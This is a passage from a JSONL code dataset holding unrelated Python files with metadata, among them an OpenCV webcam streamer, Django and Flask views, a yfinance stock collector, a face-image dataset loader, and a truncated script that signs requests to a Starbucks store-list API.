os.path.join(os.path.dirname(os.path.dirname(__file__)),'day3')\nsys.path.append(base_dirday3)\n# for items in sys.path:\n# print(items)\n# from day3.day3Login import *\n# index()\n# import day3Login\n# day3Login.index()\n\n","sub_path":"wuyaAPI/day6/os.py","file_name":"os.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"386076063","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport cv2\nimport threading\nimport platform\n\nclass WebcamVideoStream:\n stream = None\n out = None\n frame = None\n save = False\n\n def __init__(self):\n return\n\n def init_webcam(self):\n # initialize the video camera stream and read the first frame\n if platform.machine() == 'aarch64':\n #self.stream = cv2.VideoCapture(1) # WebCam Jetson TX2 /dev/video1\n self.stream = cv2.VideoCapture('udp://192.168.0.77:8090') # UDP Streaming\n elif platform.machine() == 'armv7l': # armv7l\n self.stream = cv2.VideoCapture(0) # WebCam Raspberry Pi3 /dev/video0\n else: # amd64\n #self.stream = cv2.VideoCapture(0) # WebCam\n #self.stream = cv2.VideoCapture('udp://a32158c3da9f:8090') # GPU docker container id\n self.stream = cv2.VideoCapture('udp://2204f9b0e871:8090') # PC docker\n\n print(self.stream.isOpened())\n if not self.stream.isOpened():\n # カメラオープン失敗は復旧できないので終了にする\n raise IOError((\"Couldn't open video file or webcam. If you're \"\n \"trying to open a webcam, make sure you video_path is an integer!\"))\n\n fourcc = None\n fps = None\n cv_version = cv2.__version__.split(\".\")\n if cv_version[0] == '2':\n # OpenCV 2.4\n cols = self.stream.get(cv2.cv.CV_CAP_PROP_FRAME_WIDTH)\n rows = self.stream.get(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT)\n fps = self.stream.get(cv2.cv.CV_CAP_PROP_FPS,fps)\n fourcc = cv2.cv.CV_FOURCC('m', 'p', '4', 'v')\n else:\n # OpenCV 3.2\n cols = self.stream.get(cv2.CAP_PROP_FRAME_WIDTH)\n rows = self.stream.get(cv2.CAP_PROP_FRAME_HEIGHT)\n fps = self.stream.get(cv2.CAP_PROP_FPS)\n fourcc = cv2.VideoWriter_fourcc('m', 'p', '4', 'v')\n (self.grabbed, self.frame) = self.stream.read()\n # initialize the variable used to indicate if the thread should\n # check camera stream shape\n print(\"Start video stream with shape: {},{}\".format(cols, rows))\n self.running = True\n return cols,rows,fps,fourcc\n\n def __del__(self):\n if self.stream.isOpened():\n self.stream.release()\n return\n\n def start(self):\n # start the thread to read frames from the video stream\n t = threading.Thread(target=self.update, args=())\n t.setDaemon(True)\n t.start()\n return self\n\n def update(self):\n try:\n # keep looping infinitely until the stream is closed\n while self.running:\n # otherwise, read the next frame from the stream\n (self.grabbed, self.frame) = self.stream.read()\n except:\n import traceback\n traceback.print_exc()\n self.running = False\n finally:\n # if the thread indicator variable is set, stop the thread\n self.stream.release()\n return\n\n def read(self):\n # return the frame most recently read\n return self.frame\n\n def stop(self):\n self.running = False\n","sub_path":"site/10.level3_demo_streaming/pc_server/lib/webcam.py","file_name":"webcam.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"461903063","text":"from functools import partial\nimport functools\nimport json\nfrom os import listdir\nimport os\nfrom os.path import isfile, join\n\n# dir = '../results/m_[30x3]/m75_[30x3]_10by10_tour4/'\nfrom scoop import futures\n\nkey = 'small_run'\n\ndef mergefiles(dir, key):\n print(\"Proccessing dir {0}...\".format(dir))\n files = [f for f in listdir(dir) if isfile(join(dir, f)) and f.endswith(\".json\") and key in f]\n\n if len(files) == 0:\n return\n\n def l(file):\n with open(dir + file, 'r') as f:\n result_array = json.load(f)\n return result_array\n\n result = []\n for f in files:\n result = result + l(f)\n\n with open(dir + key + \".json\", 'w') as f:\n json.dump(result, f)\n\n for f in files:\n if key + \".json\" not in f:\n os.remove(join(dir, f))\n pass\n\nif __name__ == \"__main__\":\n # dir = '../results/m_[30x3]/m75_[30x3]_10by10_tour4/'\n # mergefiles(dir, key)\n\n def generate_pathes(dir, key):\n seq = (generate_pathes(dir + entry + \"/\", key) for entry in os.listdir(dir) if os.path.isdir(dir + entry))\n result = functools.reduce(lambda x, y: x + y, seq, [dir])\n return result\n\n # dir = \"D:/wspace/heft/results/new_experiments_for_ECTA/sw2/additional_strongest/\"\n # dir = \"D:/wspace/heft/results/m250/\"\n # dir = \"D:/wspace/heft/results/[Montage_250]_[50]_[10by20]_[18_06_14_17_52_26]/\"\n # dir = \"D:/wspace/heft/results/[Montage_250]_[50]_[10by20]_[18_06_14_18_16_37]/\"\n # dir = \"D:/wspace/heft/results/[Montage_250]_[50]_[10by5]_[18_06_14_18_41_42]/\"\n # dir = \"D:/wspace/heft/results/m250_[120-180]/\"\n # dir = \"D:/wspace/heft/results/[Montage_250]_[50]_[10by20]_[18_06_14_19_09_24]/\"\n # dir = \"D:/wspace/heft/results/[Montage_250]_[50]_[10by5]_[19_06_14_10_43_15]/\"\n dir = \"D:/wspace/heft/results/[Montage_100]_[50]_[10by1]_[20_06_14_13_13_51]/\"\n # dir = \"D:/wspace/heft/results/\"\n # dir = \"D:/wspace/heft/results/m_[50x3]/tournament/\"\n pathes = generate_pathes(dir, key)\n\n fnc = partial(mergefiles, key=key)\n list(futures.map_as_completed(fnc, pathes))\n\n\n\n\n","sub_path":"heft/utilities/MergeFiles.py","file_name":"MergeFiles.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"470015735","text":"from django.shortcuts import render\n\ndef home_page(request):\n\treturn render(request=request,template_name='movieapp/homepage.html')\n\nfrom movieapp.forms import MoviedetailsForm\ndef add_movie(request):\n\tmovie_form=MoviedetailsForm()\n\tmy_dict={'movie_form':movie_form}\n\t\n\tif request.method=='POST':\n\t\tform_data=MoviedetailsForm(request.POST)\n\t\tif form_data.is_valid():\n\t\t\t# This is to make the changes of the data enterted by end user in the database\n\t\t\tform_data.save(commit=True)\n\t\t\t# This is used to display the data enterted by end user on Development server\n\t\t\tprint(f'releasedate:{form_data.cleaned_data[\"releasedate\"]}')\n\t\t\tprint(f'moviename:{form_data.cleaned_data[\"moviename\"]}')\n\t\t\tprint(f'hero:{form_data.cleaned_data[\"hero\"]}')\n\t\t\tprint(f'heroine:{form_data.cleaned_data[\"heroine\"]}')\n\t\t\tprint(f'rating:{form_data.cleaned_data[\"rating\"]}')\n\n\t\n\treturn render(request=request,template_name='movieapp/addmovie.html',context=my_dict)\n\n\nfrom movieapp.models import Moviedetails\ndef movie_list(request):\n\tmovie_data=Moviedetails.objects.all()\n\tmy_dict={'movie_data':movie_data}\n\treturn render(request=request,template_name='movieapp/movielist.html',context=my_dict)","sub_path":"project23/movieapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"198768742","text":"def find(flr=0, rs=1):\n global mx, n\n if flr == n :\n if rs > mx:\n mx = rs\n return 0\n if rs <= mx:\n return 0\n for i in range(n):\n if not vis[i]:\n vis[i] = 1\n find(flr+1, rs*bd[flr][i])\n vis[i] = 0\n\nfor T in range(int(input())):\n n = int(input())\n bd = [list(map(int, input().split())) for i in range(n)]\n for x in range(n):\n for y in range(n):\n bd[x][y] /= 100\n mx = 0\n vis = [0]*(n+1)\n find()\n print('#{}'.format(T+1),'%0.6f' % (mx*100))","sub_path":"Solving_Problem/과제 스크립/동철이의 일 분배.py","file_name":"동철이의 일 분배.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"633947883","text":"#! python3\n# tenant_creation.py - Script to facilitate the creation of tenants in Magnum by adding the case number to the start of the teant's enrolment.\n\n# Imports #\nimport sys, pyperclip\n\n# Variables #\nuser_clipboard = pyperclip.paste() # Variable containing user's clipboard\nuser_list = user_clipboard.split() # Converting user's clipboard to a list\nclt = user_list[0] # CLT number\nenrolment_list = user_list[1:] # List with only enrolments\nparsed_list = [] # Final list with CLT_ENROLMENT\n\n# Logic #\nfor enrolment in enrolment_list: # Loop adding CLT_ to each enrolment\n parsed_list.append(clt + '_' + enrolment)\n\npyperclip.copy('\\n'.join(parsed_list)) # Saving final list to clipboard as string","sub_path":"tenant_creation.py","file_name":"tenant_creation.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"58835984","text":"import os\nimport random\nimport numpy as np\nimport cv2\nfrom PIL import Image\nfrom fsgan.data.image_list_dataset import ImageListDataset\nfrom torchvision.datasets.folder import default_loader\n\n\ndef read_landmarks(landmarks_file):\n if landmarks_file.lower().endswith('.npy'):\n return np.load(landmarks_file)\n data = np.loadtxt(landmarks_file, dtype=int, skiprows=1, usecols=range(1, 11), delimiter=',')\n return data.reshape(data.shape[0], -1, 2)\n\n\ndef read_bboxes(bboxes_file):\n if bboxes_file.lower().endswith('.npy'):\n return np.load(bboxes_file)\n data = np.loadtxt(bboxes_file, dtype=int, skiprows=1, usecols=range(1, 5), delimiter=',')\n return data\n\n\ndef crop_img(img, bbox):\n bbox_max = bbox[:2] + bbox[2:] - 1\n left = -bbox[0] if bbox[0] < 0 else 0\n top = -bbox[1] if bbox[1] < 0 else 0\n right = bbox[0] + bbox[2] - img.shape[1] if (bbox[0] + bbox[2] - img.shape[1]) > 0 else 0\n bottom = bbox[1] + bbox[3] - img.shape[0] if (bbox[1] + bbox[3] - img.shape[0]) > 0 else 0\n if any((left, top, right, bottom)):\n img = cv2.copyMakeBorder(img, top, bottom, left, right, cv2.BORDER_CONSTANT)\n bbox[0] += left\n bbox[1] += top\n\n return img[bbox[1]:bbox[1] + bbox[3], bbox[0]:bbox[0] + bbox[2]]\n\n\ndef scale_bbox(bbox, scale=1.35, square=True):\n bbox_center = bbox[:2] + bbox[2:] / 2\n bbox_size = np.round(bbox[2:] * scale).astype(int)\n if square:\n bbox_max_size = np.max(bbox_size)\n bbox_size = np.array([bbox_max_size, bbox_max_size], dtype=int)\n bbox_min = np.round(bbox_center - bbox_size / 2).astype(int)\n bbox_scaled = np.concatenate((bbox_min, bbox_size))\n\n return bbox_scaled\n\n\ndef align_crop(img, landmarks, bbox, scale=1.35, square=True):\n # Rotate image for horizontal eyes\n right_eye_center = landmarks[0]\n left_eye_center = landmarks[1]\n eye_center = np.round(np.mean(landmarks[:2], axis=0)).astype(int)\n dy = right_eye_center[1] - left_eye_center[1]\n dx = right_eye_center[0] - left_eye_center[0]\n angle = np.degrees(np.arctan2(dy, dx)) - 180\n\n M = cv2.getRotationMatrix2D(tuple(eye_center), angle, 1.)\n output = cv2.warpAffine(img, M, (img.shape[1], img.shape[0]), flags=cv2.INTER_CUBIC)\n\n # Scale bounding box\n bbox_scaled = scale_bbox(bbox, scale, square)\n\n # Crop image\n output = crop_img(output, bbox_scaled)\n\n return output\n\n\nclass FaceAlignCrop(object):\n \"\"\"Aligns and crops pil face images.\n\n Args:\n bbox_scale (float): Multiplier factor to scale tight bounding box\n bbox_square (bool): Force crop to be square.\n align (bool): Toggle face alignment using landmarks.\n \"\"\"\n\n def __init__(self, bbox_scale=1.35, bbox_square=True, align=True):\n self.bbox_scale = bbox_scale\n self.bbox_square = bbox_square\n self.align = align\n\n def __call__(self, img, landmarks, bbox):\n \"\"\"\n Args:\n img (PIL Image): Face image to align and crop.\n landmarks (numpy array): Face landmarks\n bbox (numpy array): Face tight bounding box\n\n Returns:\n PIL Image: Rescaled image.\n \"\"\"\n img = np.array(img).copy()\n if self.align:\n img = align_crop(img, landmarks, bbox, self.bbox_scale, self.bbox_square)\n else:\n bbox_scaled = scale_bbox(bbox, self.bbox_scale, self.bbox_square)\n img = crop_img(img, bbox_scaled)\n\n img = Image.fromarray(img)\n\n return img\n\n def __repr__(self):\n return self.__class__.__name__ + '(bbox_scale={0}, bbox_square={1}, align={2})'.format(\n self.bbox_scale, self.bbox_square, self.align)\n\n\nclass FaceListDataset(ImageListDataset):\n \"\"\"A face specific data loader for loading aligned faces where the images are arranged in this way:\n\n root/id1/xxx.png\n root/id1/xxy.png\n root/id1/xxz.png\n\n root/id2/123.png\n root/id2/nsdf3.png\n root/id2/asd932_.png\n\n Args:\n root (string): Root directory path.\n img_list (string): Image list file path.\n transform (callable, optional): A function/transform that takes in an PIL image\n and returns a transformed version. E.g, ``transforms.RandomCrop``\n target_transform (callable, optional): A function/transform that takes in the\n target and transforms it.\n loader (callable, optional): A function to load an image given its path.\n\n Attributes:\n classes (list): List of the class names.\n class_to_idx (dict): Dict with items (class_name, class_index).\n imgs (list): List of (image path, class_index) tuples\n \"\"\"\n def __init__(self, root, img_list, landmarks_list=None, bboxes_list=None, crop_scale=1.35, crop_square=True,\n align=True, transform=None, target_transform=None, loader=default_loader):\n super(FaceListDataset, self).__init__(root, img_list, transform, target_transform, loader)\n landmarks_list_path = landmarks_list if os.path.exists(landmarks_list) else os.path.join(root, landmarks_list)\n bboxes_list_path = bboxes_list if os.path.exists(bboxes_list) else os.path.join(root, bboxes_list)\n self.landmarks = read_landmarks(landmarks_list_path)\n self.bboxes = read_bboxes(bboxes_list_path)\n if landmarks_list is None or bboxes_list is None:\n self.face_transform = None\n else:\n self.face_transform = FaceAlignCrop(crop_scale, crop_square, align)\n\n def __getitem__(self, index):\n \"\"\"\n Args:\n index (int): Index\n\n Returns:\n tuple: (sample, target) where target is class_index of the target class.\n \"\"\"\n path, target = self.samples[index]\n img = self.loader(path)\n if self.face_transform is not None:\n landmarks = self.landmarks[index]\n bbox = self.bboxes[index]\n img = self.face_transform(img, landmarks, bbox)\n if self.transform is not None:\n img = self.transform(img)\n if self.target_transform is not None:\n target = self.target_transform(target)\n\n return img, target\n\n\nclass FacePairListDataset(FaceListDataset):\n \"\"\"A face specific data loader for loading aligned face pairs where the images are arranged in this way:\n\n root/id1/xxx.png\n root/id1/xxy.png\n root/id1/xxz.png\n\n root/id2/123.png\n root/id2/nsdf3.png\n root/id2/asd932_.png\n\n Args:\n root (string): Root directory path.\n img_list (string): Image list file path.\n transform (callable, optional): A function/transform that takes in an PIL image\n and returns a transformed version. E.g, ``transforms.RandomCrop``\n target_transform (callable, optional): A function/transform that takes in the\n target and transforms it.\n loader (callable, optional): A function to load an image given its path.\n\n Attributes:\n classes (list): List of the class names.\n class_to_idx (dict): Dict with items (class_name, class_index).\n imgs (list): List of (image path, class_index) tuples\n \"\"\"\n def __init__(self, root, img_list, landmarks_list=None, bboxes_list=None, crop_scale=1.35, crop_square=True,\n align=True, same_prob=0.5, transform=None, target_transform=None, loader=default_loader):\n super(FacePairListDataset, self).__init__(root, img_list, landmarks_list, bboxes_list,\n crop_scale, crop_square, align,\n transform, target_transform, loader)\n self.same_prob = same_prob\n\n paths, labels = zip(*self.imgs)\n self.label_ranges = [len(self.imgs)] * (len(self.class_to_idx) + 1)\n for i, img in enumerate(self.imgs):\n self.label_ranges[img[1]] = min(self.label_ranges[img[1]], i)\n\n \"\"\"\n Args:\n index (int): Index\n Returns:\n tuple: (image1, image2, target1, target2) where target is True for same identity else False.\n \"\"\"\n def __getitem__(self, index):\n label1 = self.imgs[index][1]\n total_imgs1 = self.label_ranges[label1 + 1] - self.label_ranges[label1]\n if total_imgs1 > 1 and random.random() < self.same_prob:\n # Select another image from the same identity\n index2 = random.randint(self.label_ranges[label1], self.label_ranges[label1 + 1] - 2)\n index2 = index2 + 1 if index2 >= index else index2\n else:\n # Select another image from a different identity\n label2 = random.randint(0, len(self.class_to_idx) - 2)\n label2 = label2 + 1 if label2 >= label1 else label2\n index2 = random.randint(self.label_ranges[label2], self.label_ranges[label2 + 1] - 1)\n\n img1, label1 = super(FacePairListDataset, self).__getitem__(index)\n img2, label2 = super(FacePairListDataset, self).__getitem__(index2)\n\n return img1, img2, label1, label2\n\n\ndef main(root_path, img_list, landmarks_list, bboxes_list, bbox_scale=1.0, align=True, pil_transforms=None,\n dataset_type='singles'):\n import torchvision.transforms as transforms\n from fsgan.utils.obj_factory import obj_factory\n pil_transforms = [obj_factory(t) for t in pil_transforms] if pil_transforms is not None else []\n pil_transforms = transforms.Compose(pil_transforms)\n\n if dataset_type == 'singles':\n dataset = FaceListDataset(root_path, img_list, landmarks_list, bboxes_list, bbox_scale, crop_square=True,\n align=align, transform=pil_transforms)\n for img, label in dataset:\n img = np.array(img)[:, :, ::-1].copy()\n cv2.imshow('img', img)\n print('label = ' + str(label))\n cv2.waitKey(0)\n elif dataset_type == 'pairs':\n dataset = FacePairListDataset(root_path, img_list, landmarks_list, bboxes_list, bbox_scale, crop_square=True,\n align=align, same_prob=0, transform=pil_transforms)\n for img1, img2, label1, label2 in dataset:\n img1 = np.array(img1)[:, :, ::-1].copy()\n img2 = np.array(img2)[:, :, ::-1].copy()\n cv2.imshow('img1', img1)\n cv2.imshow('img2', img2)\n print('label1 = %d, label2 = %d' % (label1, label2))\n cv2.waitKey(0)\n else:\n raise RuntimeError('Dataset type must be either \"singles\" or \"pairs\"!')\n\n\nif __name__ == \"__main__\":\n # Parse program arguments\n import argparse\n parser = argparse.ArgumentParser('face_list_dataset')\n parser.add_argument('root_path', help='paths to dataset root directory')\n parser.add_argument('img_list', help='image list file path')\n parser.add_argument('-l', '--landmarks', default=None, help='landmarks file')\n parser.add_argument('-b', '--bboxes', default=None, help='bounding boxes file')\n parser.add_argument('-s', '--scale', default=1.0, type=float, help='crop bounding boxes scale')\n parser.add_argument('-a', '--align', action='store_true', help='align faces')\n parser.add_argument('-pt', '--pil_transforms', default=None, type=str, nargs='+', help='PIL transforms')\n parser.add_argument('-d', '--dataset', choices=['singles', 'pairs'], help='dataset type')\n args = parser.parse_args()\n\n main(args.root_path, args.img_list, args.landmarks, args.bboxes, args.scale, args.align, args.pil_transforms,\n args.dataset)\n","sub_path":"FSGAN/fsgan/data/face_list_dataset.py","file_name":"face_list_dataset.py","file_ext":"py","file_size_in_byte":11476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"513010661","text":"import random\n\ndef create():\n d = {}\n with open('zagadki.csv', 'r', encoding='utf-8') as f:\n for line in f:\n line=line.replace('\\n', '')\n word, hint=line.split(' ')\n d[word] = hint\n return d\n\ndef game():\n count=0\n puzzle = random.choice(list(create().keys()))\n print ('Добро пожаловать в игру! Сейчас вам будет предложено угадать слово по подсказке:')\n print(create()[puzzle], '.....')\n varik=input('Вариант: ')\n while varik.lower()!=puzzle:\n count+=1\n print('Не верно! Сделано попыток: ', count)\n varik = input('Вариант: ')\n count+=1\n if count==1:\n print('Верно! Вы молодец! Угадано с первой попытки.')\n else:\n print('Верно! Вы молодец! Угадано с', count,'попыток.')\n print ('Сыграете еще? Введите да/нет')\n da = input()\n if da == 'да'or'Да'or'ДА': #да, нормально через lower слишком нормально\n game()\n \ngame()\n \n","sub_path":"hw8/hw8.py","file_name":"hw8.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"141641203","text":"#there are a few funcs stolen from ZetaUtils because it has bloated dependencies\n\ndef index_sort(slist,index,sorter):\n sorter = sorter\n slist.sort(lambda x,y:sorter(x[index],y[index]))\n \ndef compare_domains(a,b):\n www=0\n a = a.strip().split('.')\n b = b.strip().split('.')\n if a[:4]=='www.':\n x = a[4:] \n www=1\n else:\n x = a\n if b[:4]=='www.':\n y = b[4:]\n www=1\n else:\n y = b\n try:\n domain = cmp(x[-2], y[-2])\n except:\n return cmp(x[-1], y[-1])\n if domain == 0:\n tld = cmp(x[-1], y[-1])\n if tld == 0:\n for i in range(-3,-(min(len(x),len(y))+1),-1):\n if x[i]y[i]:\n return 1\n if len(x)len(y):\n return 1\n if www:\n return cmp(a,b)\n return 0\n else:\n return tld\n else:\n return domain\n","sub_path":"Cheeze/branches/2_6_branch/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"597368212","text":"#!/usr/bin/env python\nfrom optparse import OptionParser\nimport sys\nimport csv\nfrom numpy.random import rand\nfrom numpy.random import seed as randomseed\n\nimport homework_02.src.common as common\n\n\ndef main():\n r\"\"\"\n DESCRIPTION\n -----------\n Subsample files or stdin and write to stdout.\n\n\n NOTES\n -----\n Assumes the first row is a header.\n\n\n EXAMPLES\n ---------\n Subsample a comma delimited dataset and redirect output to a new file\n $ python subsample.py data.csv > subsampled_data.csv\n\n Subsample, keeping only 10% of rows\n $ python subsample.py -r 0.1 data.csv\n\n \"\"\"\n usage = \"usage: %prog [options] dataset\"\n usage += '\\n'+main.__doc__\n parser = OptionParser(usage=usage)\n parser.add_option(\n \"-r\", \"--subsample_rate\",\n help=\"Subsample subsample_rate, 0 <= r <= 1. E.g. r = 0.1 keeps 10% \"\n \"of rows. [default: %default] \",\n action=\"store\", dest='subsample_rate', type=float, default=0.01)\n parser.add_option(\n \"-d\", \"--delimiter\",\n help=\"Use DELIMITER as the column delimiter. [default: %default]\",\n action=\"store\", dest='delimiter', default=',')\n parser.add_option(\n \"-s\", \"--seed\",\n help=\"Integer to seed the random number generator with. \"\n \"[default: %default] \",\n action=\"store\", dest='seed', type=int, default=None)\n parser.add_option(\n \"-o\", \"--outfilename\",\n help=\"Write to this file rather than stdout. [default: %default]\",\n action=\"store\", dest='outfilename', default=None)\n\n (options, args) = parser.parse_args()\n\n ### Parse args\n # Raise an exception if the length of args is greater than 1\n assert len(args) <= 1\n # If an argument is given, then it is the 'infilename'\n # If no arguments are given, set infilename equal to None\n infilename = args[0] if args else None\n\n ## Handle the options\n # Deal with tabs\n if options.delimiter in ['t', '\\\\t', '\\t', 'tab']:\n options.delimiter = '\\t'\n\n ## Get the infile/outfile\n infile, outfile = common.get_inout_files(infilename, options.outfilename)\n\n ## Call the function that does the real work\n subsample(\n infile, outfile, options.subsample_rate, options.delimiter,\n options.seed)\n\n ## Close the files iff not stdin, stdout\n common.close_files(infile, outfile)\n\n\ndef subsample(infile, outfile, subsample_rate=0.01, delimiter=',', seed=None):\n \"\"\"\n Write later, if module interface is needed.\n \"\"\"\n ## Seed the random number generator for deterministic results\n if seed:\n randomseed(seed)\n\n ## Get the csv reader and writer. Use these to read/write the files.\n\n ## Extract and write the header\n \n ## Iterate through the file and print a selection of rows\n\n\nif __name__=='__main__':\n main()\n","sub_path":"src/subsample.py","file_name":"subsample.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"469709512","text":"from threading import Thread, current_thread\nimport time\nimport asyncio\n\ndef now(): return time.time()\n\ndef start_loop(loop):\n asyncio.set_event_loop(loop)\n loop.run_forever()\n\ndef more_work(x):\n print('More work {}, thread ident:{}'.format(x, current_thread().ident))\n time.sleep(x)\n print('Finished more work {}'.format(x))\n\nasync def do_some_work(x):\n print('Waiting: ', x, ',thread ident:', current_thread().ident)\n\n await asyncio.sleep(x)\n print('x:{}, time: {}'.format(x, time.time() - start))\n return 'Done after {}s'.format(x)\n\nstart = now()\nnew_loop = asyncio.new_event_loop()\nt = Thread(target=start_loop, args=(new_loop,))\nt.start()\nprint('TIME1: {}'.format(time.time() - start))\n\nnew_loop.create_task(do_some_work(10))\nnew_loop.create_task(do_some_work(3))\nnew_loop.call_soon_threadsafe(more_work, 15)\n# new_loop.create_task(do_some_work(10))\n# new_loop.create_task(do_some_work(3))\n# new_loop.call_soon_threadsafe(more_work, 3)\n\nprint('TIME2: {}'.format(time.time() - start))","sub_path":"async-test/example15.py","file_name":"example15.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"301221770","text":"from pathlib import Path\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport time\nimport datetime\n\ndef plot_link_length(data_name, show_plots):\n start_time = time.time()\n current_file_path = Path(__file__)\n results_path = str(current_file_path.parents[1]) + f'/results/{data_name}/'\n\n # Get satellite distances\n distance_table = {}\n distance_file = open(results_path + 'distance.txt', 'r')\n for i, line in enumerate(distance_file):\n distance_table[i] = [float(x) for x in line.split()]\n distance_file.close()\n\n # get link distances\n link_d = np.genfromtxt(results_path + 'links_distance.txt', usecols=2)\n \n link_d_df = pd.DataFrame({'d': link_d})\n avg_d = link_d_df['d'].mean()\n max_d = link_d_df['d'].max()\n link_d_df['d_floor'] = (link_d_df['d'] / 100).astype(int) * 100 + 50\n\n bins = []\n for i in range(0, 4001, 200):\n bins.append(i)\n\n # Plotting\n plt.rcParams['axes.prop_cycle'] = plt.cycler(color=plt.cm.Paired.colors)\n plt.rcParams['font.sans-serif'] = 'Arial'\n\n fig, ax = plt.subplots()\n ax.hist(link_d_df['d_floor'], bins, edgecolor='black', alpha=0.8, linewidth=0.5)\n\n ax.set_ylabel('Count')\n ax.set_xlabel('Length of link [km]')\n ax.grid(linestyle=':')\n ax.set_axisbelow(True)\n ax.set_title('Link length histogram at t=1000' + '\\n' + data_name)\n plt.xticks(bins)\n\n s = r'$\\mu = $' + f'{avg_d:.1f} km'\n ax.text(.1, .9, s, transform=ax.transAxes, bbox=dict(facecolor='C1', alpha=0.5))\n\n print(f'Runtime: {datetime.timedelta(seconds=round(time.time() - start_time))}')\n\n if show_plots:\n plt.show()\n\n\n# ----------------------------------------------------------\nn_hop = 4\nn_con = 6\nn_sat = 1000\n\ndata_name = f'{n_sat}sat_{n_hop}hop_{n_con}con'\nplot_link_length(data_name=data_name, show_plots=True)\n","sub_path":"plot/linklength_hist.py","file_name":"linklength_hist.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"378326613","text":"#!/usr/bin/python3\n\"\"\" starts a Flask web application \"\"\"\nfrom os import path\nfrom flask import Flask\nfrom flask import render_template\nfrom models import storage\nfrom models.state import State\n\ntemplate_folder = path.abspath('./web_flask/templates/')\napp = Flask(__name__, template_folder=template_folder)\napp.jinja_env.trim_blocks = True\napp.jinja_env.lstrip_blocks = True\n\n\n@app.route('/states_list')\ndef states_list():\n \"\"\" display State objects present in DBStorage \"\"\"\n return render_template(\n '7-states_list.html',\n states=storage.all(State).values())\n\n\n@app.teardown_appcontext\ndef teardown_appcontext(error):\n \"\"\" remove the current SQLAlchemy Session After each request \"\"\"\n storage.close()\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=5000, debug=True)\n","sub_path":"web_flask/7-states_list.py","file_name":"7-states_list.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"331019893","text":"from gather_exchange_tickers import save_sp500_tickers, save_tsx\nimport yfinance as yf\nimport os\nimport fnmatch\n\ndef collect_data(ticker='CSU.TO',intraday=False):\n '''Compiles all the information wanted to be saved as a csv'''\n \n if ticker[-3:]=='.TO':\n pos = ticker[:-3].find('.',0,-1)\n if pos!=-1:\n ticker = ticker.replace('.','-',1)\n print(ticker)\n else:\n pos = ticker.find('.',0,-1)\n if pos!=-1:\n ticker = ticker.replace('.','-',1)\n print(ticker)\n \n if intraday:\n data = yf.download(tickers=ticker,period='1mo',interval='15m')\n else:\n data = yf.download(tickers=ticker,period='3y',interval='1d')\n \n data = momentum(data)\n \n if ticker[-3:]=='.TO' and intraday==True:\n data.to_csv('../Collected_Data/Intraday/{}.csv'.format(ticker[:-3]))\n elif intraday==True:\n data.to_csv('../Collected_Data/Intraday/{}.csv'.format(ticker))\n elif ticker[-3:]=='.TO' and intraday==False:\n data.to_csv('../Collected_Data/Close/{}.csv'.format(ticker[:-3]))\n else:\n data.to_csv('../Collected_Data/Close/{}.csv'.format(ticker))\n \ndef get_info(ticker='CSU.TO'):\n \n stock = yf.Ticker(ticker)\n \n return stock.info\n \ndef momentum(data):\n \n momentum = [0,0,0,0,0]\n count=0\n \n for index,row in data.iterrows():\n \n if count<5:\n count+=1\n continue\n \n quantity = data.iloc[count]['Adj Close']/data.iloc[count-5]['Adj Close']\n\n momentum.append(quantity*100)\n \n count+=1\n \n data['Momentum']=momentum\n \n return data\n\ndef save_all_stocks():\n \n if not os.path.exists('../Collected_Data/Intraday/'):\n os.makedirs('../Collected_Data/Intraday/')\n \n if not os.path.exists('../Collected_Data/Close/'):\n os.makedirs('../Collected_Data/Close/')\n \n #stocks = save_sp500_tickers()+save_tsx()\n stocks = save_tsx()\n print(stocks)\n for i in stocks:\n \n try:\n collect_data(i)\n except:\n continue","sub_path":"collect.py","file_name":"collect.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"646984204","text":"import hashlib\nimport requests\n\nurl = \"https://appdelivery.starbucks.com.cn/assortment/store/list\"\npayload = \"{\\\"in_business\\\":1,\\\"latitude\\\":\\\"39.907098\\\",\\\"longitude\\\":\\\"116.429323\\\"}\"\nto_encode = \"appid=859977c6f22b4f9ce98d4b02d031b4a8&lang=zh_CN\" + payload\n\n# hash = hashlib.sha256()\n# hash.update(bytes(to_encode, encoding='utf-8'))\n# sign = hash.hexdigest()\n# print(sign)\n\nshab1 = hashlib.sha1()\nshab1.update(bytes(to_encode, encoding='utf-8'))\nsign = shab1.hexdigest()\nprint(\"sha1采用byte转换的结果:\", sign)\n\n# sign = sha256(to_encode.encode('utf8'))\n# print(sign)\n# print(len(sign))\nquerystring = {\"lang\": \"zh_CN\", \"appid\": 